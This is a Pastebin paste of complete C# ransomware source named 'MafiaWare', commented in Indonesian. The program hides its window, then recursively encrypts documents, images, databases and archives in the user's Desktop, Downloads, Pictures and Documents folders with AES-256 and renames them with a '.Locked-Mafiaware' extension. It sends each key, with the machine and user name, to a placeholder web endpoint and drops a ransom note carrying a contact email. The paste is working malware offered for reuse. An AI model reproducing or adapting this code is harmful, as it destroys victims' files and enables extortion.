ZasieuN

Rnsm

Feb 2nd, 2017
209
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.36 KB | None | 0 0
  1. /*
  2. *
  3. * MAFIAWARE
  4. * Algorithm from HT, with C Sources
  5. * Encrypt with AES256
  6. * contact email : cyberking@indonesianbacktrack.or.id
  7. * Indonesian Backtrack Team ( http://indonesianbacktrack.or.id/forum )
  8. *
  9. */
  10.  
  11. using System;
  12. using System.Diagnostics;
  13. using System.Collections.Generic;
  14. using System.ComponentModel;
  15. using System.Data;
  16. using System.Drawing;
  17. using System.Linq;
  18. using System.Text;
  19. using System.Threading.Tasks;
  20. using System.Windows.Forms;
  21. using System.Security;
  22. using System.Security.Cryptography;
  23. using System.IO;
  24. using System.Net;
  25. using Microsoft.Win32;
  26. using System.Runtime.InteropServices;
  27. using System.Text.RegularExpressions;
  28.  
  29. namespace mafiaware {
  30. public partial class Form1 : Form {
  31. //Web untuk Password Unlock nya
  32. string webPass = "https://yourweb.com/cyberking/w00t.php?g0ttrap=";
  33. string namaUser = Environment.UserName;
  34. string namaKompi = System.Environment.MachineName.ToString();
  35. string dirUsr = "C:\\Users\\"; //folder User
  36. // bisa di coba ke folder system32
  37. //string dirSystm = "C:\\Windows\\"; <-- folder Windows di targetkan ke system32 di ubah/tambah bagian fungsi ngencrypt nya
  38.  
  39. public Form1() {
  40. InitializeComponent();
  41. }
  42. private void Form1_Load(object sender, EventArgs e) {
  43. Opacity = 0;
  44. this.ShowInTaskbar = false;
  45. ngeEnrypt(); //mulai ngencrypt nya pas loading
  46. ngeEnrypt2();
  47. ngeEnrypt3();
  48. ngeEnrypt4();
  49. }
  50. private void Form_Shown(object sender, EventArgs e) {
  51. Visible = false;
  52. Opacity = 100;
  53. }
  54.  
  55. //Algo encrypt AES256
  56. public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) {
  57. byte[] encryptedBytes = null;
  58. byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
  59. using (MemoryStream ms = new MemoryStream()) {
  60. using (RijndaelManaged AES = new RijndaelManaged()) {
  61. AES.KeySize = 256;
  62. AES.BlockSize = 128;
  63. var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
  64. AES.Key = key.GetBytes(AES.KeySize / 8);
  65. AES.IV = key.GetBytes(AES.BlockSize / 8);
  66. AES.Mode = CipherMode.CBC;
  67. using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)) {
  68. cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
  69. cs.Close();
  70. }
  71. encryptedBytes = ms.ToArray();
  72. }
  73. }
  74. return encryptedBytes;
  75. }
  76.  
  77. //buat randompass encrypt
  78. public string BuatPass(int length) {
  79. const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
  80. StringBuilder res = new StringBuilder();
  81. Random rnd = new Random();
  82. while (0 < length--){
  83. res.Append(valid[rnd.Next(valid.Length)]);
  84. }
  85. return res.ToString();
  86. }
  87.  
  88. //ngirim pass hasil trap ke web
  89. public void ngirimPass(string password){
  90. string g0ttrap = namaKompi + "-" + namaUser + " " + password;
  91. var fullUrl = webPass + g0ttrap;
  92. var conent = new System.Net.WebClient().DownloadString(fullUrl);
  93. }
  94.  
  95. //ngencrypt file
  96. public void ngencryptFile(string file, string password) {
  97. byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
  98. byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
  99.  
  100. //ngehash pass dg sha256
  101. passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
  102. byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
  103. File.WriteAllBytes(file, bytesEncrypted);
  104. System.IO.File.Move(file, file+".Locked-Mafiaware"); //ekstensi hasil ngencrypt
  105. }
  106.  
  107. //ngencrypt folder
  108. public void ngencryptFolder(string location, string password) {
  109. //ekstensi yang mau di encrypt
  110. var validExtensions = new[] {
  111. ".txt", ".doc", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd", ".zip", ".rar"
  112. };
  113.  
  114. string[] files = Directory.GetFiles(location);
  115. string[] childDirectories = Directory.GetDirectories(location);
  116. for (int i = 0; i < files.Length; i++){
  117. string extension = Path.GetExtension(files[i]);
  118. if (validExtensions.Contains(extension))
  119. {
  120. ngencryptFile(files[i],password);
  121. }
  122. }
  123. for (int i = 0; i < childDirectories.Length; i++){
  124. ngencryptFolder(childDirectories[i],password);
  125. }
  126. }
  127. public void ngeEnrypt() {
  128. string password = BuatPass(15);
  129. string path = "\\Desktop";
  130. string startPath = dirUsr + namaUser + path;
  131. ngirimPass(password);
  132. ngencryptFolder(startPath,password);
  133. pesanReadMe();
  134. password = null;
  135. System.Windows.Forms.Application.Exit();
  136. }
  137. public void ngeEnrypt2() {
  138. string password = BuatPass(15);
  139. string path = "\\Downloads";
  140. string startPath = dirUsr + namaUser + path;
  141. ngirimPass(password);
  142. ngencryptFolder(startPath,password);
  143. password = null;
  144. System.Windows.Forms.Application.Exit();
  145. }
  146. public void ngeEnrypt3() {
  147. string password = BuatPass(15);
  148. string path = "\\Pictures";
  149. string startPath = dirUsr + namaUser + path;
  150. ngirimPass(password);
  151. ngencryptFolder(startPath,password);
  152. password = null;
  153. System.Windows.Forms.Application.Exit();
  154. }
  155.  
  156. //ngencrypt 4 bagian document, jika ada folder music / shortcut music, itu ga bakal kena, perbedaan auth :p akalin sendiri utk lebih jelas
  157. public void ngeEnrypt4() {
  158. string password = BuatPass(15);
  159. string path = "\\Documents";
  160. string startPath = dirUsr + namaUser + path;
  161. ngirimPass(password);
  162. ngencryptFolder(startPath,password);
  163. password = null;
  164. System.Windows.Forms.Application.Exit();
  165. }
  166. //Pesanini diletakkan di folder desktop ( bisa di ubah atau di tambah lokasi nya, edit di bagian fungsi ngencrypt )
  167. public void pesanReadMe() {
  168. string path = "\\Desktop\\READ_ME.txt";
  169. string fullpath = dirUsr + namaUser + path;
  170. string[] lines = { "Cyberking was Encrypt your File with MafiaWare", "Email me and meet me", "my email cyberking@indonesianbacktrack.or.id" };
  171. System.IO.File.WriteAllLines(fullpath, lines);
  172. }
  173. }
  174. }
Add Comment
Please, Sign In to add comment